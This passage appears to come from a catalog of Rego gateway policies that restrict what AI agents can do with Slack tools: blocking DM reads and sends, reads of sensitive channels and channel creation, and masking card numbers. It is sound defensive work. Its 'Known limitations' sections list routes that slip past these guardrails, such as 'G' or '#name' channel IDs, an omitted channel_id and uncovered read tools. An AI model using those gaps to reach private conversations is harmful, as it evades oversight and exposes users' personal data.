"-create-channel", "-createchannel", "-create_channel", # Slack-API-mirroring shape (conversations.create) — kept for MCP servers # that expose the underlying REST path more literally. "-conversations-create", "-conversations.create", "-conversations_create", } # Slack-server detection: the tool name's first hyphen-separated segment starts # with "slack". Matches "slack-...", "slack3-...", "slack-prod-...", etc., so # the policy keeps working regardless of how the MCP server is named on a # given gateway. is_slack_tool if { name := lower(input.resource.name) server_name := split(name, "-")[0] startswith(server_name, "slack") } is_create_channel if { is_slack_tool name := lower(input.resource.name) some suffix in create_channel_suffixes endswith(name, suffix) } # ----------------------------------------------------------------------------- # Deny rule # ----------------------------------------------------------------------------- allow := false if { is_create_channel } reason := "Creating Slack channels is not permitted via this gateway. Contact your InfoSec team if this needs to change." if not allow ``` ### Slack: Deny DM and Private-Conversation Reads and Search URL: https://www.intentbasedpolicy.com/policies/slack/guard-dm-privacy App(s): slack | Direction: ingress | Bundles: soc2, gdpr-ccpa | Package: slack.ingress.guard_dm_privacy | Published: 2026-07-12 | Tags: slack, privacy, dm, access-control, ingress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/slack/guard-dm-privacy/policy.md # slack / guard-dm-privacy **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `slack.ingress.guard_dm_privacy` ## What it does Denies the agent read reach into Slack DMs and private conversations on the paths below — the workspace's highest concentration of PII/PHI (HR issues, health disclosures, credentials, M&A chatter). Three independent deny branches (see Known limitations for read surfaces outside these branches): 1. **Private-scope search tools** — any tool whose (lowercased) name ends with `_search_public_and_private`. The official Slack MCP server splits private scope into this dedicated tool name, so the name alone is sufficient to detect the private reach. 2. **DM-filtered message search** — the korotovsky community server's `conversations_search_messages` when its `filter_in_im_or_mpim` argument is set truthy (boolean `true`, the number `1`, or the strings `"true"` / `"1"` / `"yes"`). 3. **DM history reads** — the history/read tool family (`slack_read_channel`, `slack_read_thread`, `conversations_history`, `conversations_replies`, `slack_get_channel_history`, `slack_get_thread_replies`) when the `channel_id` argument starts with `D` (a 1:1 DM channel ID) or `@` (the korotovsky `@username_dm` alias). Callers whose IdP `groups` claim contains `slack-private-ok` are exempt. Missing identity fails closed: no subject, no claims, or no matching group means no exemption. Public-channel reads and search (`slack_search_public`, `slack_search_channels`, history reads on `C`-prefixed channel IDs) pass through untouched. This closes the read-side gap left by [`deny-direct-messages`](../deny-direct-messages/policy.md), which only blocks DM *sends*. ## Compliance alignment This policy fences the agent's read reach into DMs and private conversations — the workspace's highest concentration of personal and special-category data — behind an explicit, IdP-asserted group, supporting minimum-necessary and access-management controls on the MCP path: - **SOC 2 CC6.3** — supports role-based least privilege: DM and private-conversation reads require the explicit `slack-private-ok` group, with a read-only-public default for everyone else; **C1.1** — supports identifying and protecting confidential information held in private conversations. - **HIPAA §164.502(b) / §164.514(d)** — supports the minimum-necessary standard when DMs and private channels carry health-related disclosures; **§164.308(a)(4)** — supports information access management by restricting which conversations the agent may read. - **GDPR Art. 9 / Art. 5(1)(c)** — supports limiting access to special-category data (health and HR disclosures common in DMs) and data minimisation on the agent channel; **CPRA §1798.121** — supports the consumer's right to limit use of sensitive personal information by keeping private-conversation content out of agent context absent an explicit role. ## Why ingress The private reach is fully visible in the request (tool name, filter argument, channel ID), so the call can be stopped before any DM content ever leaves Slack. Egress redaction would already have pulled the private content into the gateway; ingress denial means it is never fetched. ## Tool name matching All matching is case-insensitive and by suffix, because the DTwo gateway prefixes tool names with the configured MCP server name (e.g. `slack-mcp-slack_read_channel`) and that prefix is not standardized: - `*_search_public_and_private` — official server private-scope search. - `*conversations_search_messages` — korotovsky message search (denied only when the DM filter is set). - History suffixes: `*slack_read_channel`, `*slack_read_thread` (official); `*conversations_history`, `*conversations_replies` (korotovsky); `*slack_get_channel_history`, `*slack_get_thread_replies` (archived reference server). Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production, and extend `history_tool_suffixes` if your Slack MCP server exposes additional history readers. ## Argument shape - Branch 2 reads `input.payload.args.filter_in_im_or_mpim` (korotovsky). - Branch 3 reads `input.payload.args.channel_id` — the key used by all six history tools listed above. All argument access goes through `object.get`; a missing argument simply doesn't match (see Known limitations for the fail-open consequence). - The exemption reads `input.subject.claims.groups` via `object.get` chains, so missing claims deterministically deny. ## Examples ### Denied (official private-scope search) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "slack-mcp-slack_search_public_and_private", "type": "tool" }, "payload": { "name": "slack-mcp-slack_search_public_and_private", "args": { "query": "salary review" } } } } ``` `allow = false`, `reason = "Searching Slack DMs and private conversations is not permitted through this gateway. ..."`. ### Denied (DM history read) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "slack-mcp-slack_read_channel", "type": "tool" }, "payload": { "name": "slack-mcp-slack_read_channel", "args": { "channel_id": "D0123456789", "limit": 50 } } } } ``` `allow = false`, `reason = "Reading Slack DM and private-conversation history is not permitted through this gateway. ..."`. ### Allowed (public search; public-channel history) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "slack-mcp-slack_search_public", "type": "tool" }, "payload": { "name": "slack-mcp-slack_search_public", "args": { "query": "deploy schedule" } } } } ``` `allow = true`, no reason. Same for `slack_read_channel` with `"channel_id": "C0123456789"`. ### Allowed (exempt caller) A caller whose `input.subject.claims.groups` contains `slack-private-ok` may run any of the calls above. ## Composition Single-purpose; composes with the other Slack ingress policies: - [`deny-direct-messages`](../deny-direct-messages/policy.md) — the write side of the same boundary (blocks DM sends; this policy blocks DM reads). - [`deny-read-search-summarize-sensitive-channels`](../deny-read-search-summarize-sensitive-channels/policy.md) — channel-ID-specific denies for named sensitive channels, including private channels this policy cannot identify by ID shape. - [`block-secrets`](../block-secrets/policy.md) — outbound DLP on sends. ## Known limitations - **Group-DM and private-channel history reads are not caught by branch 3's ID-shape check.** Branch 3 denies history reads only on `D` (1:1 DM) and the korotovsky `@username_dm` alias, per this policy's spec. Group DMs / legacy private channels carry a `G` prefix, and Slack now assigns *newly created* private channels the same `C` prefix as public channels — neither is distinguishable from a public read by ID shape here, so a direct history read on a `G`- or `C`-prefixed private conversation passes through. Use the [`deny-read-search-summarize-sensitive-channels`](../deny-read-search-summarize-sensitive-channels/policy.md) companion policy to pin specific private/group channel IDs. korotovsky also accepts a `#channel-name` string alias as `channel_id`; a private channel referenced by `#name` is likewise not caught by the `D`/`@` shape check and falls under the same companion-policy pinning. Branches 1 and 2 still cover private channels and group DMs for *search*, because those surfaces declare their scope (dedicated tool name / `filter_in_im_or_mpim`). - **Read surfaces beyond the six history tools are not covered.** Branch 3 matches only the six enumerated history/thread readers on a DM-shaped `channel_id`. Other read tools that can surface DM/private content are out of scope by design: the korotovsky `conversations_unreads` (unread messages across all conversations, DMs included under a browser-token deployment) and `saved_list` (saved messages, which may include saved DM messages), and the official `slack_read_canvas` (a canvas that may live in a private channel or DM). None of these takes a DM-shaped `channel_id` this policy can key on, so each passes through. If these surfaces are in scope for your deployment, add the tool to a companion deny policy or pair with a group-scoped egress redaction policy on their responses. - **Unfiltered korotovsky search may still surface DM content.** Branch 2 denies `conversations_search_messages` only when `filter_in_im_or_mpim` is set. Under a browser-token deployment the community server inherits the human user's full visibility, so a search *without* the filter can still return DM/mpim matches server-side. This policy trusts the filter as the DM-scope signal (per the landscape research); if your deployment returns private matches on unfiltered search, pair this with an egress redaction policy on search responses. - **Missing `channel_id` fails open on branch 3.** A history tool called with no `channel_id` (or with the target under a different key) is not matched. The six covered tools all take `channel_id` per the mid-2026 landscape research; re-verify if your server differs. - **Official tool names are observed, not contractual.** Slack publishes exact names only at runtime (`tools/list` is the source of truth); the names here are corroborated from mid-2026 research but may change. - **ID matching is exact-case.** Slack channel IDs are uppercase; a lowercase `d…` value is not a valid Slack ID and is not matched. - **Group name is a placeholder** — replace `slack-private-ok` with your IdP's group name at import time. The exemption fails closed when the caller has no `groups` claim. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package slack.ingress.guard_dm_privacy # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Placeholder IdP group whose members may reach DMs and private conversations. # Replace "slack-private-ok" with your IdP's group name at import time. private_ok_group := "slack-private-ok" # Tool arguments, safe against a missing payload/args. args := object.get(object.get(input, "payload", {}), "args", {}) # ----------------------------------------------------------------------------- # Exemption — fails closed: no subject, no claims, or no groups → not exempt. # ----------------------------------------------------------------------------- caller_exempt if { claims := object.get(object.get(input, "subject", {}), "claims", {}) groups := object.get(claims, "groups", []) some g in groups g == private_ok_group } # ----------------------------------------------------------------------------- # Branch 1 — official Slack MCP server: the dedicated private-scope search # tool. The server splits DM/private reach into its own tool name, so the # name alone identifies the private scope. # ----------------------------------------------------------------------------- private_scope_search if { endswith(lower(input.resource.name), "_search_public_and_private") } # ----------------------------------------------------------------------------- # Branch 2 — korotovsky/slack-mcp-server: conversations_search_messages # scopes the search into DMs/group DMs via the filter_in_im_or_mpim argument. # ----------------------------------------------------------------------------- dm_filtered_search if { endswith(lower(input.resource.name), "conversations_search_messages") dm_filter_set } # Boolean form of the filter. dm_filter_set if { object.get(args, "filter_in_im_or_mpim", false) == true } # String forms of the filter ("true", "1", "yes") — defensive against clients # that serialize booleans as strings. dm_filter_set if { v := object.get(args, "filter_in_im_or_mpim", "") is_string(v) lower(v) in {"true", "1", "yes"} } # Numeric form of the filter (1) — defensive against clients that serialize the # flag as a JSON number rather than a boolean or string. dm_filter_set if { object.get(args, "filter_in_im_or_mpim", false) == 1 } # ----------------------------------------------------------------------------- # Branch 3 — history/read tools targeting a direct conversation. Covers the # official server, korotovsky, and the archived reference server. Matched by # suffix because the gateway prefixes tool names with the MCP server name. # ----------------------------------------------------------------------------- history_tool_suffixes := { "slack_read_channel", # official "slack_read_thread", # official "conversations_history", # korotovsky "conversations_replies", # korotovsky "slack_get_channel_history", # archived reference server "slack_get_thread_replies", # archived reference server } is_history_tool if { name := lower(input.resource.name) some suffix in history_tool_suffixes endswith(name, suffix) } # D-prefixed value → 1:1 DM channel ID (Slack IDs are uppercase). private_history_read if { is_history_tool startswith(object.get(args, "channel_id", ""), "D") } # @-prefixed value → korotovsky's @username_dm alias for a DM. private_history_read if { is_history_tool startswith(object.get(args, "channel_id", ""), "@") } # ----------------------------------------------------------------------------- # Decision # ----------------------------------------------------------------------------- denied if private_scope_search denied if dm_filtered_search denied if private_history_read # Anything that doesn't reach into DMs/private conversations passes through. allow if { not denied } # Members of the exemption group may reach private conversations. allow if { caller_exempt } reasons contains "Searching Slack DMs and private conversations is not permitted through this gateway. Use the public-channel search tool instead, or ask your InfoSec team for the slack-private-ok group if your role requires private-scope access." if { private_scope_search not caller_exempt } reasons contains "Slack message search scoped to DMs and group DMs (filter_in_im_or_mpim) is not permitted through this gateway. Re-run the search without the DM filter, or ask your InfoSec team for the slack-private-ok group if your role requires it." if { dm_filtered_search not caller_exempt } reasons contains "Reading Slack DM and private-conversation history is not permitted through this gateway. Read public channels instead, or ask your InfoSec team for the slack-private-ok group if your role requires DM access. Contact your InfoSec team if this block is a false positive." if { private_history_read not caller_exempt } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Slack: Deny Read/Search/Summarize of Sensitive Channels URL: https://www.intentbasedpolicy.com/policies/slack/deny-read-search-summarize-sensitive-channels App(s): slack | Direction: ingress | Bundles: slack, soc2, hipaa, gdpr-ccpa | Package: slack.ingress.deny_sensitive_channel_read | Published: 2026-07-12 | Tags: slack, access-control, data-protection, ingress, soc2, hipaa, gdpr-ccpa, iso27001-nist Source: https://github.com/dtwoai/policy-store/blob/main/apps/slack/deny-read-search-summarize-sensitive-channels/policy.md # slack / deny-read-search-summarize-sensitive-channels **Direction:** ingress (`tool_pre_invoke`) **Default:** allow, with a targeted deny on sensitive-channel reads **Package:** `slack.ingress.deny_sensitive_channel_read` ## What it does Blocks read, search, and summarize operations that target a configurable set of "sensitive" Slack channels. Every other Slack tool — and every channel not in the set — passes through untouched. A blocked call returns a clear denial reason instead of returning channel contents. The set of sensitive channel IDs is configured once at the top of the Rego (`sensitive_channel_ids`). ## Compliance alignment What the fence supports depends on what you put behind it — populate `sensitive_channel_ids` with the channels that carry the regulated content. - **HIPAA §164.502(b) / §164.514(d)** — supports minimum-necessary access when PHI-bearing channels (care coordination, patient escalations) are in the set. - **HIPAA §164.308(a)(4)** — supports information access management: a technical restriction on which conversations the agent may read. - **SOC 2 C1.1** — supports identification and protection of confidential information (deal rooms, legal, incident channels). - **PCI DSS 7.2.6** — supports restricting programmatic query access to cardholder data when channels discussing CHD are in the set. - **GDPR Art. 9 / CPRA §1798.121** — supports limiting access to special-category data and sensitive personal information (HR, health, works-council channels). - **ISO 27001 A.8.3** — information access restriction on the agent channel. ## Why ingress The risk is *reading* content out of a protected channel, and that intent is fully visible in the request (the tool name plus the channel argument). Denying at ingress stops the read before it reaches Slack, so no protected message, thread, or summary is ever returned to the caller. ## How it matches A call is denied only when all three conditions hold: - **Slack-server scoping.** The first hyphen-separated segment of the tool name starts with `slack`, so the policy works regardless of how the Slack MCP server is named on a given gateway (`slack-...`, `slack-prod-...`, `slack-mcp-...`). - **Restricted-tool detection.** The (lowercased) tool name ends with one of the known suffixes across three operation families — channel history/replies reads, search, and summarize — with `-`, `_`, and concatenated naming variants covered. - **Sensitive-channel detection.** The channel is matched by **ID** against the configured set, both as a direct argument (`channel`, `channel_id`, `channelId`) and as a substring of search-query arguments (`query`, `q`), so channel-mention syntax inside a query (e.g. `in:<#C…>` or `<#C…|team-name>`) is also caught. Matching is on channel **IDs**, not names, because these tools receive resolved channel IDs at call time — a name-based approach does not fire. ID comparisons are case-sensitive, mirroring Slack's own behavior. Confirm the exact tool and argument names your gateway emits with the dump-input debug technique, and extend `restricted_tool_suffixes` or the channel-arg lookups if your Slack MCP server differs. ## Examples ### Denied (reading a sensitive channel's history) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "slack-mcp-conversations-history", "type": "tool" }, "payload": { "name": "slack-mcp-conversations-history", "args": { "channel": "SLACK_CHANNEL_ID", "limit": 50 } } } } ``` `allow = false`, `reason = "Reading, searching, or summarizing this Slack channel is not permitted via this gateway. ..."`. ### Allowed (reading a non-sensitive channel) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "slack-mcp-conversations-history", "type": "tool" }, "payload": { "name": "slack-mcp-conversations-history", "args": { "channel": "C0PUBLIC001", "limit": 50 } } } } ``` `allow = true`, no reason. ## Configuration Edit the `sensitive_channel_ids` set at the top of the policy. The shipped value (`SLACK_CHANNEL_ID`) is a **placeholder** — replace it with your real Slack channel IDs (uppercase, case-sensitive, e.g. `C0B5LHR8DQV`). ## Composition Single-purpose and `default allow := true`, so it composes cleanly with other Slack ingress policies (e.g. [`block-secrets`](../block-secrets/policy.md), [`deny-channel-creation`](../deny-channel-creation/policy.md)) on the same pipeline. ## Known limitations - **ID-based, not name-based.** The policy keys off channel IDs; it does not resolve channel names to IDs. Populate the ID set with the real IDs of the channels you need to protect. - **Suffix list, not an exhaustive catalog.** Only the tool shapes listed in `restricted_tool_suffixes` are matched. Add the suffix for any additional read/search/summarize tool your Slack MCP server exposes. - **No identity-based exemptions.** All callers are treated the same. To allow a specific break-glass user, gate a separate `allow if` branch on `input.subject.claims`. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package slack.ingress.deny_sensitive_channel_read # Default-allow: only deny restricted operations on the configured channel IDs. default allow := true # ----------------------------------------------------------------------------- # CONFIG: Sensitive Slack channel IDs. Edit to add or remove. Slack channel # IDs are uppercase alphanumeric and case-sensitive (e.g. "C0B5LHR8DQV"). # ----------------------------------------------------------------------------- sensitive_channel_ids := { "SLACK_CHANNEL_ID", #placeholder value, replace with your Slack channel_id } # ----------------------------------------------------------------------------- # Slack-server detection: any tool whose first hyphen-separated segment starts # with "slack" (slack-, slack3-, slack-prod-, etc.). # ----------------------------------------------------------------------------- is_slack_tool if { name := lower(input.resource.name) server_name := split(name, "-")[0] startswith(server_name, "slack") } # ----------------------------------------------------------------------------- # Restricted-tool detection — covers read (channel history / replies), search, # and summarize operation families. Suffix matching tolerates different MCP # naming conventions across implementations. # ----------------------------------------------------------------------------- restricted_tool_suffixes := { # ---- Read: channel history / messages ---- "-conversations-history", "-conversations_history", "-conversationshistory", "-channel-history", "-channel_history", "-channelhistory", "-get-history", "-get_history", "-gethistory", "-get-messages", "-get_messages", "-getmessages", "-read-channel", "-read_channel", "-readchannel", # ---- Read: replies / threads ---- "-conversations-replies", "-conversations_replies", "-conversationsreplies", "-get-replies", "-get_replies", "-getreplies", "-thread-history", "-thread_history", "-threadhistory", # ---- Search ---- "-search-messages", "-search_messages", "-searchmessages", "-search-all", "-search_all", "-searchall", "-search-files", "-search_files", "-searchfiles", # ---- Summarize ---- "-summarize-channel", "-summarize_channel", "-summarizechannel", "-channel-summary", "-channel_summary", "-channelsummary", "-summarize-conversation", "-summarize_conversation", "-summarizeconversation", "-summarize", "-summary", } is_restricted_tool if { is_slack_tool name := lower(input.resource.name) some suffix in restricted_tool_suffixes endswith(name, suffix) } # ----------------------------------------------------------------------------- # Sensitive-channel-ID detection — match the channel arg against the # configured ID set, OR find an ID inside a search query. # # Slack channel IDs are uppercase letter+digit strings (e.g. C0B5LHR8DQV). # Comparisons are exact (case-sensitive) since the Slack API itself preserves # case. # ----------------------------------------------------------------------------- # Direct channel arg shapes channel_id_is_sensitive if { v := object.get(input.payload.args, "channel", "") sensitive_channel_ids[v] } channel_id_is_sensitive if { v := object.get(input.payload.args, "channel_id", "") sensitive_channel_ids[v] } channel_id_is_sensitive if { v := object.get(input.payload.args, "channelId", "") sensitive_channel_ids[v] } # Search-query substring check — catches Slack channel-mention syntax inside # queries (e.g. 'in:<#C0B5LHR8DQV>' or '<#C0B5LHR8DQV|fin-team>'). channel_id_is_sensitive if { q := object.get(input.payload.args, "query", "") is_string(q) some id in sensitive_channel_ids contains(q, id) } channel_id_is_sensitive if { q := object.get(input.payload.args, "q", "") is_string(q) some id in sensitive_channel_ids contains(q, id) } # ----------------------------------------------------------------------------- # Deny rule # ----------------------------------------------------------------------------- allow := false if { is_restricted_tool channel_id_is_sensitive } reason := "Reading, searching, or summarizing this Slack channel is not permitted via this gateway. Contact your InfoSec team if this needs to change." if not allow ``` ### Slack: Deny Sending Direct Messages URL: https://www.intentbasedpolicy.com/policies/slack/deny-direct-messages App(s): slack | Direction: ingress | Bundles: slack, soc2 | Package: slack.ingress.deny_direct_messages | Published: 2026-07-12 | Tags: slack, access-control, governance, ingress, soc2, iso27001-nist, finserv-comms Source: https://github.com/dtwoai/policy-store/blob/main/apps/slack/deny-direct-messages/policy.md # slack / deny-direct-messages **Direction:** ingress (`tool_pre_invoke`) **Default:** allow, with a targeted deny on direct-message writes **Package:** `slack.ingress.deny_direct_messages` ## What it does Blocks Slack message-write calls whose destination resolves to a direct conversation — a 1:1 DM, a message posted to a user ID (which Slack auto-opens as a DM), or a multi-party/group DM. Posts to regular channels, and every non-write Slack tool, pass through untouched. A blocked call returns a clear denial reason instead of delivering the DM. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission/movement of information by keeping agent output out of 1:1 and group-DM destinations on the MCP path. - **ISO 27001 A.5.14 / NIST 800-53 AC-4** — information transfer / flow enforcement: agent messages stay in channels where they are visible and reviewable. - **GDPR Art. 5(1)(f) / Art. 32** — supports security of processing: the agent cannot open unsupervised person-to-person disclosure paths for personal data it has read. - **FINRA 3110(b)(4) / SEC 17a-4(b)(4)** — supports supervision and preservation of business communications (channel discipline): agent-generated messages cannot land in DM surfaces that evade supervisory review flows. ## Why ingress Sending a message is a write with a permanent side effect — once it reaches Slack the DM exists in the recipient's history. The destination is fully visible in the request, so denying at ingress prevents the message from ever being delivered. ## How it matches A call is denied only when all three conditions hold: - **Slack-server scoping.** The first hyphen-separated segment of the tool name starts with `slack`, so the policy works regardless of how the Slack MCP server is named on a given gateway (`slack-...`, `slack-prod-...`, `slack-mcp-...`). - **Write-tool detection.** The (lowercased) tool name ends with one of the known message-write suffixes — the post/send, update/edit, scheduled, ephemeral, and me-message families, with `-`, `_`, and concatenated naming variants covered. - **DM-recipient detection.** The destination is identified by Slack's ID-prefix conventions, not by name. On the channel argument (`channel`, `channel_id`, `channelId`) a value beginning with `D` (1:1 DM channel), `U`/`W` (user ID — Slack auto-opens a DM when posting to a user ID), or `G` (multi-party/group DM) is treated as a DM. A dedicated recipient argument (`user`, `user_id`, `userId`) is matched only against user IDs (`U`/`W`). Channel names and other non-matching ID shapes are intentionally **not** treated as DMs — the policy fails open on uncertainty rather than over-blocking. Confirm the exact tool and argument names your gateway emits with the dump-input debug technique, and extend `write_tool_suffixes` or the recipient lookups if your Slack MCP server differs. ## Examples ### Denied (posting to a 1:1 DM channel) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "slack-mcp-slack-post-message", "type": "tool" }, "payload": { "name": "slack-mcp-slack-post-message", "args": { "channel": "D0123456789", "text": "hi" } } } } ``` `allow = false`, `reason = "Sending direct messages via Slack is not permitted via this gateway. ..."`. (A post addressed to a user ID such as `"channel": "U0123456789"` is denied the same way, since Slack would open a DM.) ### Allowed (posting to a regular channel) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "slack-mcp-slack-post-message", "type": "tool" }, "payload": { "name": "slack-mcp-slack-post-message", "args": { "channel": "C0123456789", "text": "hi team" } } } } ``` `allow = true`, no reason. ## Composition Single-purpose and `default allow := true`, so it composes cleanly with other Slack ingress policies (e.g. [`block-secrets`](../block-secrets/policy.md), [`deny-channel-creation`](../deny-channel-creation/policy.md)) on the same pipeline. ## Known limitations - **ID-based detection.** Recipients are identified by Slack ID prefixes. A tool that accepts a DM destination as a plain name or under an unrecognized argument will not be matched — add the argument to the recipient lookups. - **Suffix list, not an exhaustive catalog.** Only the message-write shapes listed in `write_tool_suffixes` are matched. Add the suffix for any additional write tool your Slack MCP server exposes. - **No identity-based exemptions.** All callers are treated the same. To allow a specific break-glass user, gate a separate `allow if` branch on `input.subject.claims`. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package slack.ingress.deny_direct_messages # Default-allow: only deny writes whose destination resolves to a direct # conversation (1:1 DM, user-ID-as-channel, MPIM, or user/userId arg). default allow := true # ----------------------------------------------------------------------------- # Slack-server detection: any tool whose first hyphen-separated segment starts # with "slack" (slack-, slack3-, slack-prod-, etc.). # ----------------------------------------------------------------------------- is_slack_tool if { name := lower(input.resource.name) server_name := split(name, "-")[0] startswith(server_name, "slack") } # ----------------------------------------------------------------------------- # Write-tool detection — covers common shapes for the message-posting family. # ----------------------------------------------------------------------------- write_tool_suffixes := { # postMessage family "-postmessage", "-post-message", "-post_message", "-sendmessage", "-send-message", "-send_message", # update / edit "-updatemessage", "-update-message", "-update_message", # scheduled posts "-schedulemessage", "-schedule-message", "-schedule_message", # ephemeral posts "-postephemeral", "-post-ephemeral", "-post_ephemeral", "-postephemeralmessage", "-post-ephemeral-message", # me-style messages "-memessage", "-me-message", "-me_message", } is_slack_write_tool if { is_slack_tool name := lower(input.resource.name) some suffix in write_tool_suffixes endswith(name, suffix) } # ----------------------------------------------------------------------------- # DM-recipient detection — match any destination value that resolves to a # direct conversation in Slack's ID conventions: # D... → 1:1 DM channel ID # U.../W... → user ID (Slack's chat.postMessage auto-opens a DM and posts # when the channel arg is a user ID) # G... → multi-party DM / group DM (in workspaces where private channels # moved to C, G is effectively MPIM-only) # Channel arg names checked: channel, channel_id, channelId. # Separately checks user/user_id/userId args for tools that take the recipient # under a dedicated user field. # Names (non-ID strings) and other ID shapes don't match — fail-open on # uncertainty. # ----------------------------------------------------------------------------- # DM via the channel arg (channel ID OR user ID auto-converted to DM). is_dm_recipient if { v := object.get(input.payload.args, "channel", "") regex.match(`^[DUWG][A-Z0-9]{7,}$`, v) } is_dm_recipient if { v := object.get(input.payload.args, "channel_id", "") regex.match(`^[DUWG][A-Z0-9]{7,}$`, v) } is_dm_recipient if { v := object.get(input.payload.args, "channelId", "") regex.match(`^[DUWG][A-Z0-9]{7,}$`, v) } # DM via a dedicated user arg (only user IDs are valid here). is_dm_recipient if { v := object.get(input.payload.args, "user", "") regex.match(`^[UW][A-Z0-9]{7,}$`, v) } is_dm_recipient if { v := object.get(input.payload.args, "user_id", "") regex.match(`^[UW][A-Z0-9]{7,}$`, v) } is_dm_recipient if { v := object.get(input.payload.args, "userId", "") regex.match(`^[UW][A-Z0-9]{7,}$`, v) } # ----------------------------------------------------------------------------- # Deny rule # ----------------------------------------------------------------------------- allow := false if { is_slack_write_tool is_dm_recipient } reason := "Sending direct messages via Slack is not permitted via this gateway. Contact your InfoSec team if this needs to change." if not allow ``` ### Slack: Mask Card Numbers in Message and Search Responses URL: https://www.intentbasedpolicy.com/policies/slack/mask-pan-egress App(s): slack | Direction: egress | Bundles: pci-dss, soc2, gdpr-ccpa | Package: slack.egress.mask_pan | Published: 2026-07-12 | Tags: slack, mask-pan-egress, egress, cardholder-data, dlp, pci-dss, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/slack/mask-pan-egress/policy.md # slack / mask-pan-egress **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `slack.egress.mask_pan` ## What it does Masks payment-card numbers (PANs) in Slack content returned to agents by message-read, thread-read, canvas-read, history, and search tools. Humans type card numbers into chat — DMs with customers, support channels, order threads — and every read of that history would otherwise place the full PAN into the agent's context. This policy Luhn-validates every 13–19-digit card-shaped sequence in the response and rewrites each match to **BIN-plus-last4**: the first six digits (the issuer BIN) and last four are kept, and every digit in between becomes `*`, e.g. `4111 1111 1111 1111` → `411111******1111`. BIN+last4 is the maximum display format PCI DSS permits for personnel without a business need to see full PAN. The policy never blocks a call. When at least one PAN is found the response content blocks are rewritten via `transformed_payload`; when nothing matches, the transform rule is undefined and the response passes through byte-identical. Callers whose `input.subject.claims.groups` contains the documented placeholder group `pci-full-pan` receive unmasked responses. The exemption is fail-closed: a caller with no subject, no claims, no `groups` claim, or a malformed `groups` claim is never exempt and always gets masked output. ## Compliance alignment - **PCI DSS 3.4.1** — supports masking of PAN when displayed: the agent channel shows at most BIN+last4, with full-PAN visibility limited to a defined role (`pci-full-pan`). - **PCI DSS 3.4.2** — supports preventing copy/relocation of PAN via remote-access technologies: an agent that only ever receives the masked form cannot re-post the full PAN into other channels, tickets, or files. - **PCI DSS 12.10.7** — supports PAN-where-not-expected incident procedures: chat is a classic not-expected location, and the gateway's decision/transform audit events for this policy give the incident process a concrete trigger to work from. - **SOC 2 CC6.7** — supports the restriction on transmission/movement of confidential information: cardholder data read back from Slack does not move into agent context in full. - **CCPA/CPRA §1798.150** — supports reducing nonredacted-PI breach exposure: card numbers surfaced to agents from chat history are masked by default. ## Tool name matching The policy matches content-returning Slack read tools case-insensitively by suffix on `input.resource.name`, after normalizing `_` to `-` so both underscore (as the servers publish them) and hyphenated (as some gateways deliver them) forms match. It covers all three Slack MCP server vocabularies in real use: - **Official Slack MCP server** (`mcp.slack.com`, what the Claude connector uses): `slack_read_channel`, `slack_read_thread`, `slack_read_canvas`, `slack_search_public`, `slack_search_public_and_private`. - **korotovsky/slack-mcp-server**: `conversations_history`, `conversations_replies`, `conversations_search_messages`, `conversations_unreads`, `saved_list` (the last two also return message bodies, so they are in scope for masking). - **Archived reference server** (still widely forked): `slack_get_channel_history`, `slack_get_thread_replies`. Directory tools (`slack_search_channels`, `slack_search_users`, `slack_read_user_profile`, `channels_list`, …) return metadata, not message bodies, and are deliberately out of scope — see the companion profile-PII policy in Composition. The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `slack-mcp-slack_read_channel`), and that prefix is not standardized — suffix matching keeps the policy portable. The official server's names are observed-current, not contractual (Slack documents `tools/list` as the source of truth and says names can change), so verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Patterns matched Conservative, anchored PAN shapes only — each pattern is commented in the Rego, and every candidate must also pass the Luhn check before it is masked, which keeps false positives (Slack timestamps, order IDs, phone numbers) low: - 16-digit PANs grouped 4-4-4-4 with space or dash separators (Visa/Mastercard/Discover print format). - 15-digit American Express PANs grouped 4-6-5, constrained to the 34/37 IIN range. - Unseparated 13–19-digit runs (the ISO/IEC 7812 PAN length range). Runs of 20+ digits never match: there is no word boundary inside a digit run, so a longer identifier is never partially masked. ## Response shape Egress tool output arrives as content blocks in `input.payload.text` (an array; entries are typically strings of plain text, markdown, or serialized JSON). The policy scans each string block, replaces every Luhn-valid match with its own BIN+last4 form, and emits `transform.transformed_payload` with the original payload's `text` replaced by the masked blocks. Non-string blocks pass through unmodified. Because matching is string-level, PANs are masked wherever they appear — message bodies, search snippets, canvas markdown — without parsing each tool's specific JSON shape. ## Examples ### Transformed (masked) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "slack-mcp-slack_read_thread", "type": "tool" }, "payload": { "name": "slack-mcp-slack_read_thread", "text": ["customer: my card is 4111 1111 1111 1111, exp 12/27"] }, "subject": { "sub": "google-apps|casey@acme.com", "claims": { "groups": ["support"] } } } } ``` `allow = true`; the agent sees `customer: my card is 411111******1111, exp 12/27`. ### Allowed unmasked (exempt group) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "slack-mcp-slack_read_thread", "type": "tool" }, 